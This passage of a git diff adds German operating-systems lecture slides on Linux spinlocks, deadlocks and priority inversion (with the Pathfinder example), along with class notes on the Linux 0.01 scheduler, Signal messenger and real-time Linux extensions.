\put(8.5,-1.15){\vector(-1,0){1.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 + + \medskip + + \begin{lstlisting} + static inline void spin_lock (spinlock_t *lock) + { + raw_spin_lock (&lock->rlock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.3,0.95){\line(-1,0){4.0}} + \put(9.3,0.95){\line(0,-1){2.1}} + \put(9.3,-1.15){\vector(-1,0){1.0}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 + + \medskip + + \begin{lstlisting} + #define raw_spin_lock(lock) _raw_spin_lock (lock) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(10.0,0.55){\line(-1,0){0.5}} + \put(10.0,0.55){\line(0,-1){1.7}} + \put(10.0,-1.15){\vector(-1,0){1.3}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 + + \medskip + + \begin{lstlisting} + #define _raw_spin_lock(lock) __raw_spin_lock (lock) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(10.7,0.55){\line(-1,0){0.5}} + \put(10.7,0.55){\line(0,-1){1.75}} + \put(10.7,-1.2){\vector(-1,0){2.3}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): + + \medskip + + \begin{lstlisting} + void __lockfunc __raw_spin_lock (spinlock_t *lock) + { + for (;;) + { + preempt_disable (); + if (likely (do_raw_spin_trylock (lock))) + break; + preempt_enable (); + + if (!(lock)->break_lock) + (lock)->break_lock = 1; + while (!raw_spin_can_lock (lock) && (lock)->break_lock) + arch_spin_relax (&lock->raw_lock); + } + (lock)->break_lock = 0; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(10.7,4.75){\line(-1,0){3.5}} + \put(10.7,4.75){\line(0,-1){5.95}} + \put(10.7,-1.2){\vector(-1,0){1.1}} + \end{picture} + + \bigskip + + Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: + + \medskip + + \begin{lstlisting} + static inline int do_raw_spin_trylock (raw_spinlock_t *lock) + { + return arch_spin_trylock (&(lock)->raw_lock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(11.5,0.95){\line(-1,0){3.5}} + \put(11.5,0.95){\line(0,-1){2.1}} + \put(11.5,-1.15){\vector(-1,0){0.7}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: + + \medskip + + \begin{lstlisting} + static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) + { + return __ticket_spin_trylock (lock); + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.5,0.95){\line(-1,0){3.5}} + \put(9.5,0.95){\vector(0,-1){1.7}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: + + \medskip + + \begin{lstlisting} + static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) + { + arch_spinlock_t old, new; + + old.tickets = ACCESS_ONCE (lock->tickets); + if (old.tickets.head != old.tickets.tail) + return 0; + + new.head_tail = old.head_tail + (1 << TICKET_SHIFT); + + /* cmpxchg is a full barrier, so nothing can move before it */ + return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; + } + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(2.2,0.3){\line(0,1){0.4}} + \put(9.0,0.3){\line(-1,0){6.8}} + \put(9.0,0.3){\line(0,-1){1.45}} + \put(9.0,-1.15){\vector(-1,0){3.2}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: + + \medskip + + \begin{lstlisting} + #define cmpxchg(ptr, old, new) \ + __cmpxchg (ptr, old, new, sizeof (*(ptr))) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.0,0.5){\line(-1,0){1.8}} + \put(9.0,0.5){\line(0,-1){1.65}} + \put(9.0,-1.15){\vector(-1,0){2.2}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: + + \medskip + + \begin{lstlisting} + #define __cmpxchg(ptr, old, new, size) \ + __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(2.2,-0.1){\line(0,1){0.3}} + \put(9.0,-0.1){\line(-1,0){6.8}} + \put(9.0,-0.1){\line(0,-1){1.05}} + \put(9.0,-1.15){\vector(-1,0){2.2}} + \end{picture} + + \bigskip + + Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: + + \medskip + + \begin{lstlisting} + asm volatile (lock "cmpxchgl %2,%1" \ + : "=a" (__ret), "+m" (*__ptr) \ + : "r" (__new), "0" (__old) \ + : "memory"); + \end{lstlisting} + \begin{picture}(0,0) + \color{red} + \put(9.8,1.8){\vector(-1,0){0.6}} + \put(9.8,1.2){\line(0,1){0.6}} + \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} + \end{picture} + +\end{frame} + +\setlength{\pdfpageheight}{\normalpdfpageheight} + +%\sectionnonumber{Literaturempfehlung} +%\subsectionnonumber{Automotive Embedded Systeme} +% +%\begin{frame}[c] +% +% \showsectionnonumber +% +% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ +% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: +% +% \medskip +% +% \showsubsectionnonumber +% +% \vspace{-\medskipamount} +% +% Springer-Verlag, Berlin, Heidelberg 2005 +% +% \bigskip +% +% Lizenz: proprietär +% +% \medskip +% +% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) +% +%\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ressourcen reservieren + \begin{itemize} + \item + \newterm{Semaphor}\\ + gemeinsame Variable mehrerer Prozesse\\ + zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] + Ressource belegt \textarrow\ Kontextwechsel + \medskip + \item + \newterm{Mutex}\\ + Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ + auf eine Ressource zugreifen kann + \medskip + \item + \newterm{Spinlock} (\emph{busy waiting\/})\\ + leichtgewichtige Alternative zu Kontextwechsel + \medskip + \item + \newterm{Kritischer Abschnitt -- critical section}\\ + Programmabschnitt zwischen Reservierung\\ + und Freigabe einer Ressource\\ + \textarrow\ sollte immer so kurz wie möglich sein + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + \begin{picture}(0,0) + \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} + \end{picture}% + \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen + \begin{itemize} + \item + \newterm{Deadlock\/}: Prozeß wartet + \item + \newterm{Livelock\/}: Prozeß macht andere Dinge\\ + (z.\,B.\ \emph{busy waiting\/}) + \end{itemize} + + \pause + \bigskip + + Beispiel: Philosophenproblem + + \only<2-3>{% + \begin{itemize} + \item + 5 Philosophen, 5 Gabeln + \item + 2 Gabeln zum Essen notwendig + \item + Wer essen will, nimmt eine Gabel\\ + und wartet notfalls auf die zweite. + \item + Keiner legt eine einzelne Gabel\\ + wieder zurück. + \end{itemize} + Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] + \pause + \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ + \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] + } + \only<4->{% + \bigskip + + Bedingungen für Verklemmungen: + + \begin{minipage}[t]{4.5cm} + \begin{itemize} + \item + Exklusivität + \item + \newterm{hold and wait} + \item + Entzug nicht möglich + \item + zirkuläre Blockade + \end{itemize} + \end{minipage}\pause[5] + \begin{minipage}[t]{7.5cm} + \begin{itemize} + \arrowitem + Spooling + \arrowitem + simultane Zuteilung + \arrowitem + Prozesse suspendieren, beenden, \newterm{Rollback} + \arrowitem + Reihenfolge abhängig von Ressourcen + \end{itemize} + \end{minipage} + } + +\end{frame} + +\subsection{Prioritäten} + +\begin{frame} + + \showsection + \showsubsection + + Linux 0.01 + \begin{itemize} + \item + Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ + Prozeß mit höchstem Zähler bekommt Rechenzeit. + \item + Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ + bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. + \item + \emph{keine\/} harte Echtzeit + \arrowitem + \newterm{dynamische Prioritätenvergabe\/}:\\ + Rechenzeit hängt vom Verhalten des Prozesses ab + \end{itemize} + + \medskip + + Echtzeitbetriebssysteme + \begin{itemize} + \item + Prozesse können einen festen Anteil an Rechenzeit bekommen. + \item + Bei Ereignissen können Prozesse hoher Priorität\\ + Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. + \arrowitem + \newterm{statische Prioritätenvergabe} + \end{itemize} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Echtzeitbetriebssysteme + \begin{itemize} + \item + Prozesse können einen festen Anteil an Rechenzeit bekommen. + \item + Bei Ereignissen können Prozesse hoher Priorität\\ + Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. + \end{itemize} + + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(0,3){\line(1,0){10}} + + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} + \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} + \alt<1>{% + \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} + }{% + \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} + } + \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + \put(0,1){\line(1,0){10}} + + \pause + + \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} + \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} + \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} + \put(0,2){\line(1,0){10}} + + \end{picture} + \end{center} + +\end{frame} + +\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} + +\begin{frame} + + \showsection + \showsubsection + + \only<4->{% + Der höher priorisierte Prozeß bewirkt selbst,\\ + daß er eine Ressource verspätet bekommt. + + \medskip + + \textarrow\ \newterm{begrenzte Prioritätsinversion} + + \medskip + + maximale Verzögerung: Länge des kritischen Bereichs + } + + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} + \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} + \only<3-4>{% + \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + {\thicklines + \put(3.3,2.95){\line(2,1){1.0}} + \put(3.3,3.45){\line(2,-1){1.0}}} + } + \only<5->{% + \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + } + \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} + \only<1-2>{% + \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + } + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(0,3){\line(1,0){10}} + + \only<2->{% + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} + \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} + \only<2-4>{% + \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} + \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \only<5->{% + \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} + \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} + \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} + } + \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} + \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + \put(0,1){\line(1,0){10}} + } + \end{picture} + \end{center} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + \visible<4->{% + Ein Prozeß mit mittlerer Priorität bewirkt, + daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. + + \medskip + + \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} + + \pause + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} + \only<2>{% + \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} + {\thicklines + \put(3.3,2.95){\line(2,1){1.0}} + \put(3.3,3.45){\line(2,-1){1.0}}} + \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + } + \put(0,3){\line(1,0){10}} + + \only<2->{% + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} + \alt<1-4>{% + \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} + }{% + \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} + } + \only<2>{% + \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} + \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \only<3-4>{% + \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} +% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \only<2>{% + \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} + \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} + } + \put(0,1){\line(1,0){10}} + } + + \only<5->{% + \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} + \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} + \put(0,2){\line(1,0){10}} + } + \end{picture} + \end{center} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ein Prozeß mit mittlerer Priorität bewirkt, + daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. + + \medskip + + \textarrow\ \newterm{unbegrenzte Prioritätsinversion} + + \medskip + + Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 + + \only<1>{% + \begin{center} + \includegraphics[width=8.5cm]{pathfinder.jpg} + \vspace*{-1.5cm} + \end{center} + } + + \bigskip + + \only<2>{% + Gegenmaßnahmen + \begin{itemize} + \item + \newterm{Priority Inheritance -- Prioritätsvererbung}\\ + Der Besitzer des Mutex erbt die Priorität\\ + des Prozesses, der auf den Mutex wartet. + \end{itemize} + + \bigskip + + \begin{minipage}{7.0cm} + \begin{flushright} + \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/} + \end{flushright} + \end{minipage} + + \vspace{-0.2cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.7cm]{pathfinder.jpg}}\vspace*{-1cm} + } + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ein Prozeß mit mittlerer Priorität bewirkt, + daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. + + \medskip + + \textarrow\ \newterm{unbegrenzte Prioritätsinversion} + + \bigskip + + Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung} + + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} + \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} + \put(0,1){\line(1,0){10}} + + \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} + \only<1-2>{% + \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} + } + \put(0,2){\line(1,0){10}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} + \put(0,3){\line(1,0){10}} + + \only<2>{% + \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} + {\thicklines + \put(3.3,2.95){\line(2,1){1.0}} + \put(3.3,3.45){\line(2,-1){1.0}}} + } + + \only<3->{% + \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}} + \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} + \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} + } + \end{picture} + \end{center} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ein Prozeß mit mittlerer Priorität bewirkt, + daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. + + \medskip + + \textarrow\ \newterm{unbegrenzte Prioritätsinversion} + + \bigskip + + Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze} + + \vspace{0cm plus 1filll} + + \begin{center} + \begin{picture}(11,4)(-1,0) + \small + + \put(-0.1,0.5){\vector(1,0){10.1}} + \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} + \put(0,0.4){\vector(0,1){3.6}} + \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} + + \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} + \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} +% \only<1>{% +% \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} +% } + \put(0,1){\line(1,0){10}} + +% \only<1>{% +% \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} +% \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} +% } + \put(0,2){\line(1,0){10}} + + \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} +% \only<1>{% +% \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} +% } + \put(0,3){\line(1,0){10}} + +% \only<2>{% +% \only<2>{% + \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}} + \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} + \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} + \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} + \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} + \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} + \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} + \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} + \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} +% } + \end{picture} + \end{center} + +\end{frame} + +\begin{frame} + + \showsection + \showsubsection + + Ein Prozeß mit mittlerer Priorität bewirkt, + daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. + + \medskip + + \textarrow\ \newterm{unbegrenzte Prioritätsinversion} + + \medskip + + Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 + + \bigskip + + Gegenmaßnahmen + \begin{itemize} + \item + \newterm{Priority Inheritance -- Prioritätsvererbung}\\ + Der Besitzer des Mutex erbt die Priorität\\ + des Prozesses, der auf den Mutex wartet. + \smallskip + \item + \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ + Der Besitzer des Mutex bekommt sofort\\ + die Priorität des höchstmöglichen Prozesses,\\ + der evtl.\ den Mutex benötigen könnte. + \pause + \begin{picture}(0,0) + \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ + \begin{minipage}{4cm} + nur möglich, wenn\\ + Mutexe im Spiel sind + \end{minipage}}} + \end{picture} + \smallskip + \pause + \item + \newterm{Priority Aging}\\ + Die Priorität wächst mit der Wartezeit. + \end{itemize} + \vspace*{-1cm} + +\end{frame} + +\end{document} diff --git a/20210625/logo-hochschule-bochum-cvh-text.pdf b/20210625/logo-hochschule-bochum-cvh-text.pdf new file mode 120000 index 0000000000000000000000000000000000000000..a05946126bc0ce6a2818740da2893f59eb0c659c --- /dev/null +++ b/20210625/logo-hochschule-bochum-cvh-text.pdf @@ -0,0 +1 @@ +../common/logo-hochschule-bochum-cvh-text.pdf \ No newline at end of file diff --git a/20210625/logo-hochschule-bochum.pdf b/20210625/logo-hochschule-bochum.pdf new file mode 120000 index 0000000000000000000000000000000000000000..b6b9491e370e499c9276918182cdb82cb311bcd1 --- /dev/null +++ b/20210625/logo-hochschule-bochum.pdf @@ -0,0 +1 @@ +../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210625/pathfinder.jpg b/20210625/pathfinder.jpg new file mode 120000 index 0000000000000000000000000000000000000000..23c6444fee26e0cf0dd2f8639484b00aa5021b59 --- /dev/null +++ b/20210625/pathfinder.jpg @@ -0,0 +1 @@ +../common/pathfinder.jpg \ No newline at end of file diff --git a/20210625/pgslides.sty b/20210625/pgslides.sty new file mode 120000 index 0000000000000000000000000000000000000000..5be1416f4216f076aa268901f52a15d775e43f64 --- /dev/null +++ b/20210625/pgslides.sty @@ -0,0 +1 @@ +../common/pgslides.sty \ No newline at end of file diff --git a/20210625/philosophenproblem.jpg b/20210625/philosophenproblem.jpg new file mode 120000 index 0000000000000000000000000000000000000000..26591b2ac2dddfd4786814baf3f19ecb67f1f5ee --- /dev/null +++ b/20210625/philosophenproblem.jpg @@ -0,0 +1 @@ +../common/philosophenproblem.jpg \ No newline at end of file diff --git a/20210625/rp6.jpg b/20210625/rp6.jpg new file mode 100644 index 0000000000000000000000000000000000000000..1695afb690b4fb78878236a1efd0d5c6328370f4 Binary files /dev/null and b/20210625/rp6.jpg differ diff --git a/20210702/bs-20210702.txt b/20210702/bs-20210702.txt new file mode 100644 index 0000000000000000000000000000000000000000..fd6949f826daba63232dc2decd38fb5f01b597ea --- /dev/null +++ b/20210702/bs-20210702.txt @@ -0,0 +1,116 @@ +Scheduler des Linux-0.01-Kernels, 02.07.2021, 11:39:30 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Aufgabe: Welcher Task kommt als nächster an die Reihe? + +Tabelle von Structs: task_struct +Datenfelder: + - state: Will dieser Task überhaupt Rechenzeit haben? + - counter: aktuelle (dynamische) Priorität des Tasks + - priority: Priorität des Tasks + +p ist ein Zeiger auf Zeiger von task_structs, + also ein Array von Zeigern auf task_structs. + +Task Nr. 0 ist der "idle task". + +p wird so initialisiert, daß er auf dem ersten Eintrag des + task-Arrays zeigt, der nicht mehr(!) zum Array gehört. +In der Schleife wird dann als erstes --i und --p ausgeführt. + +Das innere "if" wird nur ausgeführt, wenn der Zeiger(!) "*p" +kein NULL-Zeiger ist. + + int counter[n] = { ... }; + int c = -1; + for (int i = 0; i < n; i++) + if (counter[i] > c) + c = counter[i]; + +--> c hat den Wert des Maximums aller counter[i]. + +Was bewirkt das Komma in der Zeile "c = (*p)->counter, next = i;"? +--> Komma-Operator: "a,b" bedeutet: "berechne a, vergiß es wieder, + und berechne stattdessen b." + Nur sinnvoll in Kombination mit Seiteneffekten! + "c = (*p)->counter" ist ein Ausdruck mit dem Wert "(*p)->counter" + und dem Seiteneffekt, daß dieser Wert der Variablen c zugewiesen wird. + +Andere Schreibweise für die innere Schleife: + + while (i >= 1) + { + i--; + p--; + if (*p) + if ((*p)->state == TASK_RUNNING && (*p)->counter > c) + { + c = (*p)->counter; + next = i; + } + } + +Nach der inneren while-Schleife enthält +next die Nummer des Tasks mit der höchsten Priorität (counter) +und c den counter dieses Tasks (also die höchste Priorität selbst) + +Sobald alle counter abgelaufen sind, bekommen sie +in der for-Schleife neue Werte zugewiesen +gemäß der jeweiligen Priorität der Tasks. +Tasks, die nicht TASK_RUNNING sind, können noch counter > 0 haben +und bekommen die Priorität zusätzlich darauf addiert. +--> Der Counter kann über alle Maßen wachsen. (Oder????;-) +Nein, denn der "angesparte" Counter wird vorher halbiert (">> 1"). +--> Der Counter kann bis zu einem gewissen Maximum wachsen + (dem Doppelten der Priorität des Tasks). +--> Durch Abwarten kann ein Task Rechenzeit ansparen. + Wenn er dann doch läuft, hat er direkt hohe Priorität. +--> Sinnvoll für interaktive Programme (z.B. Editor). + +--> Dynamische Prioritätenvergabe (nicht echtzeitfähig) + +Signal, 02.07.2021, 13:35:22 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Messenger mit Ende-zu-Ende-Verschlüsselung + +Freie Software (Client und Server) +zentrale Infrastruktur +Signal Foundation betreibt zentrale Server + +Auch die Meta-Daten werden verschlüsselt. +Der Empfänger einer Nachricht ist dem Server bekannt, +aber der Absender nur dem Empfänger. + +Die Server werden in Clouds betrieben bei Amazon, Microsoft usw. + +Es gibt Vertraulichkeit, Integrität und plausible deniability + +Man kann über Signal auch "telefonieren". + +Wer teilnimmt, hat einen privaten Schlüssel. +Um eine Nachricht zu versenden, benötigt man +eine ID des Empfängers (Telefonnummer). +Darüber holt man sich den Public Key. +Schlüsselabgleich erfolgt über den Abgleich einer Sicherheitsnummer, +die aus beiden Public Keys gemeinsam gebildet wird. + +Zur Registrierung benötigt man eine Telefonnummer, +über die man SMS oder Sprachanrufe empfangen kann. +Darüber erfährt man einen Verifizierungs-Code, den man +währnd der Installation der Client-Software eingeben muß. +Man kann seinen Signal-Account zusätzlich durch eine PIN schützen. + +Versenden einer verschlüsselten Nachricht: + - Austausch eines Sitzungsschlüssels per Diffie-Hellman + - Vermutung: Die asymmetrischen Schlüssel dienen dazu, + Man-in-the-Middle-Angriffe zu verhindern. + +Projekt: Signal-Bot +Raspberry Pi mit Signal-CLI +Dieser soll Nachrichten versenden, die von anderen Programmen stammen +und empfangene Nachrichten an Programme weiterleiten. +Wichtig: dedizierte Telefonnummer + + +Verbesserungsmöglichkeiten für BBB, 02.07.2021, 14:07:31 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +In Kombination mit Mumble: anzeigen, wer gerade spricht diff --git a/20210709/bs-20210709.txt b/20210709/bs-20210709.txt new file mode 100644 index 0000000000000000000000000000000000000000..85a6382c0df759984d80f337a82aae9c94728275 --- /dev/null +++ b/20210709/bs-20210709.txt @@ -0,0 +1,173 @@ +Echtzeit-Erweiterungen für Linux, 09.07.2021, 11:42:17 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + - früher: RTAI (Real Time Application Interface) + + Der RTAI-Kernel läuft als "Sub-Kernel" direkt auf der Hardware. + Der Linux-Kernel läuft als "Applikation" im RTAI-Kernel. + Kommunikation zwischen Echtzeit-Tasks und Linux-Prozessen + erfolgt mittels Semaphoeren. + + - früher: RT-Linux + + - aktuell: Xenomai + +do-while(0)-Schleife, 09.07.2021, 12:05:38 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Definition: + 